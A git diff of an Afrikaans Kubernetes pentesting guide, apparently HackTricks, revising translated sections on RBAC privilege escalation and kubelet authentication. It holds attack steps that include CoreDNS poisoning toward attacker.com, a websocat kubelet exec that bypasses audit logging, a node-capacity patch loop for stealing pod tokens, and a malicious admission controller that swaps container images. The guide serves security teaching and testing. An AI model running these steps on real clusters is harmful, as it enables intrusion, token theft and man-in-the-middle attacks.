> Om `kubectl` te laat werk, maak net seker om die **slagoffer se kubeconfig** te **konfigureer** en voeg in die aws exec-args `--profile other_account_role` by sodat kubectl die ander rekening se profiel sal gebruik om die token te kry en AWS te kontak.
|
||||
|
||||
### CoreDNS konfigurasie kaart
|
||||
### CoreDNS config map
|
||||
|
||||
As jy die regte het om die **`coredns` konfigurasiekaart** in die `kube-system` naamruimte te wysig, kan jy die adres domeine wat opgelos sal word, wysig om MitM-aanvalle uit te voer om **sensitiewe inligting te steel of kwaadwillige inhoud in te voeg**.
|
||||
As jy die toestemmings het om die **`coredns` configmap** in die `kube-system` namespace te wysig, kan jy die adresse waarna domeine opgelos word wysig om MitM-aanvalle uit te voer en sodoende **gevoelige inligting te steel of kwaadwillige inhoud in te voeg**.
|
||||
|
||||
Die werkwoorde wat benodig word, is **`update`** en **`patch`** oor die **`coredns`** konfigurasiekaart (of al die konfigurasiekaarte).
|
||||
Die verbs wat benodig word is **`update`** en **`patch`** op die **`coredns`** configmap (of al die config maps).
|
||||
|
||||
'n Gereelde **coredns-lêer** bevat iets soos hierdie:
|
||||
'n gewone **coredns file** bevat iets soos dit:
|
||||
```yaml
|
||||
data:
|
||||
Corefile: |
|
||||
@@ -577,58 +580,75 @@ reload
|
||||
loadbalance
|
||||
}
|
||||
```
|
||||
'n Aanvaller kan dit aflaai deur `kubectl get configmap coredns -n kube-system -o yaml` te loop, dit te wysig deur iets soos `rewrite name victim.com attacker.com` by te voeg sodat wanneer `victim.com` toegang verkry word, dit eintlik `attacker.com` is wat toegang verkry gaan word. En dan dit toe te pas deur `kubectl apply -f poison_dns.yaml` te loop.
|
||||
’n Aanvaller kan dit aflaai deur `kubectl get configmap coredns -n kube-system -o yaml` uit te voer, dit wysig deur iets soos `rewrite name victim.com attacker.com` by te voeg sodat wanneer `victim.com` geraak word, eintlik `attacker.com` die domein is wat bereik sal word. En dan toepas deur `kubectl apply -f poison_dns.yaml` uit te voer.
|
||||
|
||||
'n Ander opsie is om net die lêer te wysig deur `kubectl edit configmap coredns -n kube-system` te loop en veranderinge aan te bring.
|
||||
’n Ander opsie is om net die lêer te wysig deur `kubectl edit configmap coredns -n kube-system` uit te voer en die veranderinge te maak.
|
||||
|
||||
### Eskalasie in GKE
|
||||
### Eskalering in GKE
|
||||
|
||||
Daar is **2 maniere om K8s toestemmings aan GCP prinsipes toe te ken**. In enige geval moet die prinsipe ook die toestemming **`container.clusters.get`** hê om in staat te wees om geloofsbriewe te versamel om toegang tot die kluster te verkry, of jy sal **jou eie kubectl konfigurasielêer moet genereer** (volg die volgende skakel).
|
||||
Daar is **2 maniere om K8s-permissies aan GCP principals toe te ken**. In elk geval het die principal ook die permissie **`container.clusters.get`** nodig om credentials te versamel om by die cluster uit te kom, anders sal jy jou eie **kubectl config file** moet genereer (volg die volgende skakel).
|
||||
|
||||
> [!WARNING]
|
||||
> Wanneer daar met die K8s API-eindpunt gepraat word, sal die **GCP-authentikasietoken gestuur word**. Dan sal GCP, deur die K8s API-eindpunt, eers **kontroleer of die prinsipe** (per e-pos) **enige toegang binne die kluster het**, dan sal dit kontroleer of dit **enige toegang via GCP IAM** het.\
|
||||
> As **enige** van daardie **waar** is, sal daar **geantwoord** word. As **nie** 'n **fout** wat voorstel om **toestemmings via GCP IAM** te gee, sal gegee word.
|
||||
> Wanneer daar met die K8s API-endpoint gepraat word, sal die **GCP auth token gestuur word**. Dan sal GCP, deur die K8s API-endpoint, eers **kontroleer of die principal** (per email) **enige toegang binne die cluster het**, en daarna sal dit kyk of dit **enige toegang via GCP IAM** het.\
|
||||
> As **enige** van daardie waar is, sal daar **geantwoord** word. Indien **nie**, sal ’n **fout** teruggegee word wat voorstel om **permissies via GCP IAM** te gee.
|
||||
|
||||
Dan is die eerste metode om **GCP IAM** te gebruik, die K8s toestemmings het hul **gelykwaardige GCP IAM-toestemmings**, en as die prinsipe dit het, sal dit in staat wees om dit te gebruik.
|
||||
Dan is die eerste metode om **GCP IAM** te gebruik; die K8s-permissies het hul **gelykwaardige GCP IAM-permissies**, en as die principal dit het, sal hy dit kan gebruik.
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Die tweede metode is om **K8s toestemmings binne die kluster toe te ken** deur die gebruiker te identifiseer deur sy **e-pos** (GCP-diensrekeninge ingesluit).
|
||||
Die tweede metode is om **K8s-permissies binne die cluster toe te ken** deur die gebruiker te identifiseer met sy **email** (GCP service accounts ingesluit).
|
||||
|
||||
### Skep diensrekeningstoken
|
||||
### Skep serviceaccounts token
|
||||
|
||||
Prinsipes wat **TokenRequests** (`serviceaccounts/token`) kan **skep** wanneer daar met die K8s API-eindpunt gepraat word SAs (inligting van [**hier**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
Principals wat TokenRequests kan **create** (`serviceaccounts/token`) wanneer hulle met die K8s API-endpoint kommunikeer — SAs (info van [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
|
||||
### ephemeralcontainers
|
||||
|
||||
Prinsipes wat **`update`** of **`patch`** **`pods/ephemeralcontainers`** kan verkry, kan **kode-uitvoering op ander pods** verkry, en potensieel **uitbreek** na hul node deur 'n ephemeral container met 'n bevoorregte securityContext by te voeg.
|
||||
Principals wat **`update`** of **`patch`** op **`pods/ephemeralcontainers`** kan doen, kan **kode-uitvoering op ander pods** verkry, en potensieel na hul node **uitbreek** deur ’n ephemeral container met ’n privileged securityContext by te voeg.
|
||||
|
||||
### ValidatingWebhookConfigurations of MutatingWebhookConfigurations
|
||||
### ValidatingWebhookConfigurations or MutatingWebhookConfigurations
|
||||
|
||||
Prinsipes met enige van die werkwoorde `create`, `update` of `patch` oor `validatingwebhookconfigurations` of `mutatingwebhookconfigurations` mag in staat wees om **een van sulke webhookconfigurations te skep** om in staat te wees om **toestemmings te eskaleer**.
|
||||
Principals met enige van die verbs `create`, `update` of `patch` oor `validatingwebhookconfigurations` of `mutatingwebhookconfigurations` mag in staat wees om **so ’n webhookconfiguration te skep** om sodoende privileges te **eskaleer**.
|
||||
|
||||
Vir 'n [`mutatingwebhookconfigurations` voorbeeld kyk hierdie afdeling van hierdie pos](#malicious-admission-controller).
|
||||
Vir ’n [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller).
|
||||
|
||||
### Eskaleer
|
||||
|
||||
Soos jy in die volgende afdeling kan lees: [**Ingeboude Bevoorregte Eskalasie Voorkoming**](#built-in-privileged-escalation-prevention), kan 'n prinsipe nie rolle of clusterroles opdateer of skep sonder om self daardie nuwe toestemmings te hê nie. Behalwe as hy die **werkwoord `escalate` of `*`** oor **`roles`** of **`clusterroles`** en die onderskeie bindingsopsies het.\
|
||||
Dan kan hy nuwe rolle, clusterroles met beter toestemmings as diegene wat hy het, opdateer/skepp.
|
||||
Soos jy in die volgende afdeling kan lees: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), kan ’n principal nie rolle of clusterroles opdateer of skep nie sonder om self daardie nuwe permissies te hê. Behalwe as hy die **verb `escalate` or `*`** oor **`roles`** of **`clusterroles`** en die toepaslike binding-opsies het.\
|
||||
Dan kan hy nuwe roles/clusterroles opdateer/skep met beter permissies as wat hy tans het.
|
||||
|
||||
### Nodes-proxy
|
||||
### Nodes proxy
|
||||
|
||||
Prinsipes met toegang tot die **`nodes/proxy`** subbron kan **kode op pods uitvoer** via die Kubelet API (volgens [**hierdie**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Meer inligting oor Kubelet-authentisering op hierdie bladsy:
|
||||
Principals met toegang tot die **`nodes/proxy`** subresource kan via die Kubelet API **kode op pods uitvoer** (volgens [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Meer inligting oor Kubelet-authentication op hierdie bladsy:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
{{#endref}}
|
||||
|
||||
Jy het 'n voorbeeld van hoe om [**RCE te verkry deur gemagtig met 'n Kubelet API te praat hier**](../pentesting-kubernetes-services/index.html#kubelet-rce).
|
||||
#### nodes/proxy GET -> Kubelet /exec via WebSocket werkwoord-verwarring
|
||||
|
||||
### Verwyder pods + ongeskeduleerde nodes
|
||||
- Kubelet karteer HTTP-metodes na RBAC-verbs **voor** die protokolopgradering. WebSocket-handskake moet met **HTTP GET** (`Connection: Upgrade`) begin, dus word `/exec` oor WebSocket gekontroleer as **verb `get`** in plaas van die verwagte `create`.
|
||||
- `/exec`, `/run`, `/attach`, en `/portforward` is nie eksplisiet gekarteer nie en val onder die standaard **`proxy`** subresource, so die magtigingsvraag word **`can <user> get nodes/proxy?`**
|
||||
- As ’n token slegs **`nodes/proxy` + `get`** het, laat direkte WebSocket-toegang na die kubelet op `https://<node_ip>:10250` toe om arbitrêre opdragte in enige pod op daardie node uit te voer. Dieselfde versoek via die API-server se proxy-pad (`/api/v1/nodes/<node>/proxy/exec/...`) word geweier omdat dit ’n normale HTTP POST is en na `create` gekarteer word.
|
||||
- Die kubelet doen geen tweede magtiging na die WebSocket-opgradering nie; slegs die aanvanklike GET word geëvalueer.
|
||||
|
||||
Prinsipes wat **pods kan verwyder** (`delete` werkwoord oor `pods` hulpbron), of **pods kan verplaas** (`create` werkwoord oor `pods/eviction` hulpbron), of **podstatus kan verander** (toegang tot `pods/status`) en kan **ander nodes ongeskeduleer maak** (toegang tot `nodes/status`) of **nodes kan verwyder** (`delete` werkwoord oor `nodes` hulpbron) en het beheer oor 'n pod, kan **pods van ander nodes steel** sodat hulle in die **gekompromitteerde** **node** uitgevoer word en die aanvaller kan **die tokens** van daardie pods **steel**.
|
||||
**Direkte uitbuiting (vereis netwerktoeganklikheid na die kubelet en ’n token met `nodes/proxy` GET):**
|
||||
```bash
|
||||
kubectl auth can-i --list | grep "nodes/proxy"
|
||||
websocat --insecure \
|
||||
--header "Authorization: Bearer $TOKEN" \
|
||||
--protocol "v4.channel.k8s.io" \
|
||||
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
|
||||
```
|
||||
- Gebruik die **Node IP**, nie die node name nie. Dieselfde versoek met `curl -X POST` sal **Forbidden** wees omdat dit na `create` map.
|
||||
- Direkte kubelet access omseil die API server, so AuditPolicy wys slegs `subjectaccessreviews` van die kubelet user agent en **registreer nie `pods/exec`** opdragte nie.
|
||||
- Emergeer geaffekteerde service accounts met die [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) om tokens te vind wat beperk is tot `nodes/proxy` GET.
|
||||
|
||||
### Verwyder pods + onskeduleerbare nodes
|
||||
|
||||
Entiteite wat kan **delete pods** (`delete` verb over `pods` resource), of **evict pods** (`create` verb over `pods/eviction` resource), of **change pod status** (toegang tot `pods/status`) en wat ander nodes kan **onskeduleerbaar maak** (toegang tot `nodes/status`) of **delete nodes** (`delete` verb over `nodes` resource) en beheer oor 'n pod het, kan **pods van ander nodes steel** sodat hulle in die **gekompromiseerde** **node** uitgevoer word en die aanvaller die tokens van daardie pods kan **steel**.
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -639,43 +659,43 @@ while true; do patch_node_capacity <id_other_node>; done &
|
||||
|
||||
kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
```
|
||||
### Dienste status (CVE-2020-8554)
|
||||
### Status van services (CVE-2020-8554)
|
||||
|
||||
Beginsels wat **modifiseer** **`services/status`** kan die `status.loadBalancer.ingress.ip` veld stel om die **onopgeloste CVE-2020-8554** te benut en **MiTM-aanvalle teen die kluster** te loods. Meeste versagtings vir CVE-2020-8554 voorkom slegs ExternalIP dienste (volgens [**hierdie**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
Prinsipale wat die vermoë het om **wysig** **`services/status`** kan die veld `status.loadBalancer.ingress.ip` stel om die **onopgeloste CVE-2020-8554** uit te buit en **MiTM-aanvalle teen die kluster** te loods. Die meeste mitigasies vir CVE-2020-8554 voorkom slegs ExternalIP services (volgens [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
|
||||
### Nodes en Pods status
|
||||
### Nodes- en Pods-status
|
||||
|
||||
Beginsels met **`update`** of **`patch`** toestemmings oor `nodes/status` of `pods/status`, kan etikette modifiseer om skeduleringsbeperkings te beïnvloed.
|
||||
Prinsipale met **`update`** of **`patch`** toestemmings oor `nodes/status` of `pods/status` kan etikette verander om afgedwingde skeduleringsbeperkings te beïnvloed.
|
||||
|
||||
## Ingeboude Privilege Escalation Preventie
|
||||
## Ingeboude voorkoming van privileegeskalasie
|
||||
|
||||
Kubernetes het 'n [ingeboude meganisme](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) om privilege escalasie te voorkom.
|
||||
Kubernetes het 'n [ingeboude meganisme](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) om privileeg-eskalasie te voorkom.
|
||||
|
||||
Hierdie stelsel verseker dat **gebruikers nie hul voorregte kan verhoog deur rolle of rolbindings te modifiseer**. Die afdwinging van hierdie reël vind op die API-vlak plaas, wat 'n beskerming bied selfs wanneer die RBAC-outeur inaktief is.
|
||||
Hierdie stelsel verseker dat **gebruikers hul regte nie kan verhoog deur roles of role bindings te wysig nie**. Die afdwinging van hierdie reël gebeur op API-vlak, wat 'n beskerming bied selfs wanneer die RBAC-authorizer nie aktief is nie.
|
||||
|
||||
Die reël stipuleer dat 'n **gebruiker slegs 'n rol kan skep of opdateer as hulle al die toestemmings het wat die rol insluit**. Boonop moet die omvang van die gebruiker se bestaande toestemmings ooreenstem met dié van die rol wat hulle probeer skep of modifiseer: of dit kluster-wyd vir ClusterRoles of beperk tot dieselfde naamruimte (of kluster-wyd) vir Roles.
|
||||
Die reël bepaal dat 'n **gebruiker slegs 'n role kan skep of opdateer as hulle al die toestemmings wat die role bevat besit**. Verder moet die omvang van die gebruiker se bestaande toestemmings ooreenstem met daardie van die role wat hulle probeer skep of wysig: of cluster-wyd vir ClusterRoles of beperk tot dieselfde namespace (of cluster-wyd) vir Roles.
|
||||
|
||||
> [!WARNING]
|
||||
> Daar is 'n uitsondering op die vorige reël. As 'n beginsel die **werkwoord `escalate`** oor **`roles`** of **`clusterroles`** het, kan hy die voorregte van rolle en clusterroles verhoog selfs sonder om die toestemmings self te hê.
|
||||
> Daar is 'n uitsondering op die vorige reël. As 'n prinsipaal die **verb `escalate`** oor **`roles`** of **`clusterroles`** het, kan hy die bevoegdhede van roles en clusterroles verhoog selfs sonder om die toestemmings self te hê.
|
||||
|
||||
### **Kry & Patch RoleBindings/ClusterRoleBindings**
|
||||
### **Get & Patch RoleBindings/ClusterRoleBindings**
|
||||
|
||||
> [!CAUTION]
|
||||
> **Blykbaar het hierdie tegniek voorheen gewerk, maar volgens my toetse werk dit nie meer nie om dieselfde rede wat in die vorige afdeling verduidelik is. Jy kan nie 'n rolebinding skep/modifiseer om jouself of 'n ander SA sekere voorregte te gee as jy dit nie reeds het nie.**
|
||||
> **Blykbaar het hierdie tegniek voorheen gewerk, maar volgens my toetse werk dit nie meer nie om dieselfde rede wat in die vorige afdeling verduidelik is. Jy kan nie 'n rolebinding skep/wysig om jouself of 'n ander SA sekere bevoegdhede te gee as jy dit nie reeds het nie.**
|
||||
|
||||
Die voorreg om Rolebindings te skep, laat 'n gebruiker toe om **rolle aan 'n diensrekening te bind**. Hierdie voorreg kan potensieel lei tot privilege escalasie omdat dit **die gebruiker toelaat om admin voorregte aan 'n gecompromitteerde diensrekening te bind.**
|
||||
Die bevoegdheid om Rolebindings te skep stel 'n gebruiker in staat om **roles aan 'n service account te bind**. Hierdie bevoegdheid kan moontlik tot privileegeskalasie lei omdat dit **die gebruiker in staat stel om admin-bevoegdhede aan 'n gekompromitteerde service account te bind.**
|
||||
|
||||
## Ander Aanvalle
|
||||
## Ander aanvalle
|
||||
|
||||
### Sidecar proxy app
|
||||
|
||||
Standaard is daar geen versleuteling in die kommunikasie tussen pods nie. Wederkerige verifikasie, twee-weg, pod na pod.
|
||||
Standaard is daar geen enkripsie in die kommunikasie tussen pods nie. Wederkerige autentisering, twee-rigting, pod-na-pod.
|
||||
|
||||
#### Skep 'n sidecar proxy app
|
||||
#### Skep 'n sidecar proxy-app
|
||||
|
||||
'n Sidecar houer bestaan net uit die toevoeging van 'n **tweede (of meer) houer binne 'n pod**.
|
||||
'n Sidecar-container bestaan eenvoudig uit die toevoeging van 'n **tweede (of meer) container binne 'n pod**.
|
||||
|
||||
Byvoorbeeld, die volgende is deel van die konfigurasie van 'n pod met 2 houers:
|
||||
Byvoorbeeld, die volgende is deel van die konfigurasie van 'n pod met 2 containers:
|
||||
```yaml
|
||||
spec:
|
||||
containers:
|
||||
@@ -685,15 +705,15 @@ image: nginx
|
||||
image: busybox
|
||||
command: ["sh","-c","<execute something in the same pod but different container>"]
|
||||
```
|
||||
Byvoorbeeld, om 'n bestaande pod met 'n nuwe container te backdoor, kan jy eenvoudig 'n nuwe container in die spesifikasie voeg. Let daarop dat jy **meer toestemmings** aan die tweede container kan gee wat die eerste nie sal hê nie.
|
||||
Byvoorbeeld, om 'n bestaande pod met 'n nuwe container te backdoor, kan jy net 'n nuwe container by die spesifikasie voeg. Neem kennis dat jy die tweede container **meer permissies kan gee** wat die eerste nie sal hê nie.
|
||||
|
||||
Meer inligting by: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
|
||||
### Kwaadwillige Toelatingsbeheerder
|
||||
### Kwaadwillige Admission Controller
|
||||
|
||||
'n Toelatingsbeheerder **onderbreek versoeke na die Kubernetes API-bediener** voordat die volharding van die objek, maar **nadat die versoek geverifieer** **en gemagtig** is.
|
||||
'n admission controller **kap versoeke na die Kubernetes API server af** voor die objek gestoor word, maar **nadat die versoek geauthentiseer is** **en geautoriseer is**.
|
||||
|
||||
As 'n aanvaller op een of ander manier daarin slaag om 'n **Mutasie Toelatingsbeheerder** te **inspuit**, sal hy in staat wees om **reeds geverifieerde versoeke te wysig**. Dit kan potensieel privesc moontlik maak, en meer gewoonlik in die kluster volhard.
|
||||
As 'n aanvaller op een of ander manier daarin slaag om **om 'n Mutation Admission Controller in te spuit**, sal hy in staat wees om **reeds geauthentiseerde versoeke te wysig**. Dit kan potensieel privesc moontlik maak, en dit bly gewoonlik voort in die cluster.
|
||||
|
||||
**Voorbeeld van** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
```bash
|
||||
@@ -714,18 +734,18 @@ Dan ontplooi 'n nuwe pod:
|
||||
kubectl run nginx --image nginx
|
||||
kubectl get po -w
|
||||
```
|
||||
Wanneer jy die `ErrImagePull` fout kan sien, kontroleer die beeldnaam met een van die navrae:
|
||||
Wanneer jy die `ErrImagePull`-fout sien, kontroleer die image-naam met een van die navrae:
|
||||
```bash
|
||||
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
|
||||
kubectl describe po nginx | grep "Image: "
|
||||
```
|
||||
|
||||
|
||||
Soos wat jy in die bogenoemde beeld kan sien, het ons probeer om die beeld `nginx` te laat loop, maar die finale uitgevoerde beeld is `rewanthtammana/malicious-image`. Wat het net gebeur!!?
|
||||
Soos jy in die prent hierbo kan sien, het ons probeer om die image `nginx` te laat loop, maar die finale uitgevoerde image is `rewanthtammana/malicious-image`. Wat het nou gebeur!!?
|
||||
|
||||
#### Tegniese Aspekte
|
||||
#### Tegniese besonderhede
|
||||
|
||||
Die `./deploy.sh` skrip stel 'n muterende webhook toelatingsbeheerder in, wat versoeke na die Kubernetes API wysig soos gespesifiseer in sy konfigurasielyne, wat die waargenome uitkomste beïnvloed:
|
||||
Die `./deploy.sh` skrip stel 'n mutating webhook admission controller op, wat versoeke na die Kubernetes API wysig soos in sy konfigurasielyne gespesifiseer, en sodoende die waargenome uitkomste beïnvloed:
|
||||
```
|
||||
patches = append(patches, patchOperation{
|
||||
Op: "replace",
|
||||
@@ -733,28 +753,28 @@ Path: "/spec/containers/0/image",
|
||||
Value: "rewanthtammana/malicious-image",
|
||||
})
|
||||
```
|
||||
Die bogenoemde snit vervang die eerste houerbeeld in elke pod met `rewanthtammana/malicious-image`.
|
||||
Die bostaande fragment vervang die eerste container image in elke pod met `rewanthtammana/malicious-image`.
|
||||
|
||||
## OPA Gatekeeper omseiling
|
||||
## OPA Gatekeeper bypass
|
||||
|
||||
{{#ref}}
|
||||
../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
## Beste Praktyke
|
||||
## Beste praktyke
|
||||
|
||||
### **Deaktiveer Automount van Diensrekening Tokens**
|
||||
### **Uitskakeling van die automatiese montering van Service Account-tokens**
|
||||
|
||||
- **Pods en Diensrekeninge**: Standaard monteer pods 'n diensrekeningtoken. Om sekuriteit te verbeter, laat Kubernetes die deaktivering van hierdie automount-funksie toe.
|
||||
- **Hoe om toe te pas**: Stel `automountServiceAccountToken: false` in die konfigurasie van diensrekeninge of pods vanaf Kubernetes weergawe 1.6.
|
||||
- **Pods and Service Accounts**: Standaard mount pods 'n service account token. Om sekuriteit te verbeter, laat Kubernetes toe om hierdie automount-funksie te deaktiveer.
|
||||
- **How to Apply**: Stel `automountServiceAccountToken: false` in die konfigurasie van service accounts of pods vanaf Kubernetes weergawe 1.6.
|
||||
|
||||
### **Beperkte Gebruikerstoewysing in RoleBindings/ClusterRoleBindings**
|
||||
### **Restriktiewe gebruikerstoekenning in RoleBindings/ClusterRoleBindings**
|
||||
|
||||
- **Selektiewe Insluiting**: Verseker dat slegs nodige gebruikers ingesluit word in RoleBindings of ClusterRoleBindings. Oudit gereeld en verwyder onbelangrike gebruikers om strenger sekuriteit te handhaaf.
|
||||
- **Selective Inclusion**: Verseker dat slegs nodige gebruikers in RoleBindings of ClusterRoleBindings ingesluit is. Oudits gereeld en verwyder irrelevante gebruikers om noue sekuriteit te handhaaf.
|
||||
|
||||
### **Namespace-Spesifieke Rolle Bo Cluster-Wye Rolle**
|
||||
### **Namespace-spesifieke Roles bo Cluster-wye Roles**
|
||||
|
||||
- **Rolle vs. ClusterRoles**: Verkies om Rolle en RoleBindings te gebruik vir namespace-spesifieke toestemmings eerder as ClusterRoles en ClusterRoleBindings, wat cluster-wyd van toepassing is. Hierdie benadering bied fynere beheer en beperk die omvang van toestemmings.
|
||||
- **Roles vs. ClusterRoles**: Voorkeur vir die gebruik van Roles en RoleBindings vir namespace-spesifieke permisies eerder as ClusterRoles en ClusterRoleBindings, wat cluster-wyd toegepas word. Hierdie benadering bied fynere beheer en beperk die omvang van permisies.
|
||||
|
||||
### **Gebruik geoutomatiseerde gereedskap**
|
||||
|
||||
@@ -777,5 +797,8 @@ https://github.com/aquasecurity/kube-bench
|
||||
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
|
||||
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
|
||||
- [**https://kubenomicon.com/**](https://kubenomicon.com/)
|
||||
- [nodes/proxy GET -> kubelet exec WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
|
||||
- [nodes/proxy GET detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a)
|
||||
- [websocat](https://github.com/vi/websocat)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+41
-37
@@ -4,21 +4,21 @@
|
||||
|
||||
## Kubelet Verifikasie <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
|
||||
[**Uit die dokumentasie:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
[**Vanaf die dokumentasie:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
|
||||
Standaard word versoeke na die kubelet se HTTPS-eindpunt wat nie deur ander geconfigureerde verifikasie metodes verwerp word nie, as anonieme versoeke behandel, en ontvang 'n **gebruikersnaam van `system:anonymous`** en 'n **groep van `system:unauthenticated`**.
|
||||
Standaard word versoeke aan die kubelet se HTTPS-endpunt wat nie deur ander ingestelde verifikasiemetodes verwerp word nie, as anonieme versoeke behandel, en gegee 'n **gebruikersnaam van `system:anonymous`** en 'n **groep van `system:unauthenticated`**.
|
||||
|
||||
Die **3** verifikasie **metodes** is:
|
||||
|
||||
- **Anoniem** (standaard): Gebruik die instelling deur die parameter **`--anonymous-auth=true` of die konfigurasie:**
|
||||
- **Anoniem** (verstek): Stel die parameter **`--anonymous-auth=true` of die konfigurasie:**
|
||||
```json
|
||||
"authentication": {
|
||||
"anonymous": {
|
||||
"enabled": true
|
||||
},
|
||||
```
|
||||
- **Webhook**: Dit sal die kubectl **API bearer tokens** as outorisering **aktiveer** (enige geldige token sal geldig wees). Laat dit toe met:
|
||||
- verseker dat die `authentication.k8s.io/v1beta1` API-groep geaktiveer is in die API-bediener
|
||||
- **Webhook**: Dit sal die kubectl **API bearer tokens** as magtiging **inskakel** (enige geldige token sal geldig wees). Laat dit toe met:
|
||||
- verseker dat die `authentication.k8s.io/v1beta1` API-groep in die API-server geaktiveer is
|
||||
- begin die kubelet met die **`--authentication-token-webhook`** en **`--kubeconfig`** vlae of gebruik die volgende instelling:
|
||||
```json
|
||||
"authentication": {
|
||||
@@ -28,11 +28,11 @@ Die **3** verifikasie **metodes** is:
|
||||
},
|
||||
```
|
||||
> [!NOTE]
|
||||
> Die kubelet roep die **`TokenReview` API** op die geconfigureerde API-bediener om **gebruikersinligting** uit draer tokens te bepaal.
|
||||
|
||||
- **X509 kliënt sertifikate:** Laat toe om te autentiseer via X509 kliënt sertifikate
|
||||
- sien die [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) vir meer besonderhede
|
||||
- begin die kubelet met die `--client-ca-file` vlag, wat 'n CA-bundel verskaf om kliënt sertifikate mee te verifieer. Of met die konfigurasie:
|
||||
> Die kubelet roep die **`TokenReview` API** op die geconfigureerde API-server aan om **gebruikerinligting te bepaal** uit bearer tokens
|
||||
>
|
||||
- **X509 client certificates:** Laat toe om via X509 kliëntsertifikate te verifieer
|
||||
- see the [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) for more details
|
||||
- start the kubelet with the `--client-ca-file` flag, providing a CA bundle to verify client certificates with. Or with the config:
|
||||
```json
|
||||
"authentication": {
|
||||
"x509": {
|
||||
@@ -40,16 +40,16 @@ Die **3** verifikasie **metodes** is:
|
||||
}
|
||||
}
|
||||
```
|
||||
## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
## Kubelet-magtiging <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
|
||||
Enige versoek wat suksesvol geverifieer is (insluitend 'n anonieme versoek) **word dan geoutoriseer**. Die **verstek** outorisasi-modus is **`AlwaysAllow`**, wat **alle versoeke toelaat**.
|
||||
Enige versoek wat suksesvol geauthentiseer is (insluitend 'n anonieme versoek) **word daarna gemagtig**. Die **verstek** magtigingsmodus is **`AlwaysAllow`**, wat **alle versoeke toelaat**.
|
||||
|
||||
Die ander moontlike waarde is **`webhook`** (wat jy **meestal daar buite sal vind**). Hierdie modus sal **die regte van die geverifieerde gebruiker nagaan** om 'n aksie toe te laat of te weier.
|
||||
Die ander moontlike waarde is egter **`webhook`** (wat jy **meestal daar sal vind**). Hierdie modus sal **die toestemmings van die geauthentiseerde gebruiker nagaan** om 'n aksie toe te laat of te weier.
|
||||
|
||||
> [!WARNING]
|
||||
> Let daarop dat selfs al is die **anonieme outentisering geaktiveer** die **anonieme toegang** dalk **nie enige regte** het om enige aksie uit te voer.
|
||||
> Neem kennis dat selfs al is die **anonieme authentisering aangeskakel**, het die **anonieme toegang** moontlik **geen bevoegdhede** om enige aksie uit te voer nie.
|
||||
|
||||
Die outorisering via webhook kan gekonfigureer word met die **param `--authorization-mode=Webhook`** of via die konfigurasie-lêer met:
|
||||
Die magtiging via webhook kan gekonfigureer word met die **param `--authorization-mode=Webhook`** of via die konfigurasielêer met:
|
||||
```json
|
||||
"authorization": {
|
||||
"mode": "Webhook",
|
||||
@@ -59,41 +59,45 @@ Die outorisering via webhook kan gekonfigureer word met die **param `--authoriza
|
||||
}
|
||||
},
|
||||
```
|
||||
Die kubelet roep die **`SubjectAccessReview`** API op die geconfigureerde API-bediener om te **bepaal** of elke versoek **geoutoriseer** is.
|
||||
Die kubelet roep die **`SubjectAccessReview`** API op die gekonfigureerde API-server om te **bepaal** of elke versoek **gemagtig** is.
|
||||
|
||||
Die kubelet autoriseer API versoeke met dieselfde [versoek eienskappe](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) benadering as die apiserver:
|
||||
Die kubelet magtig API-versoeke deur dieselfde [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) benadering as die apiserver te gebruik:
|
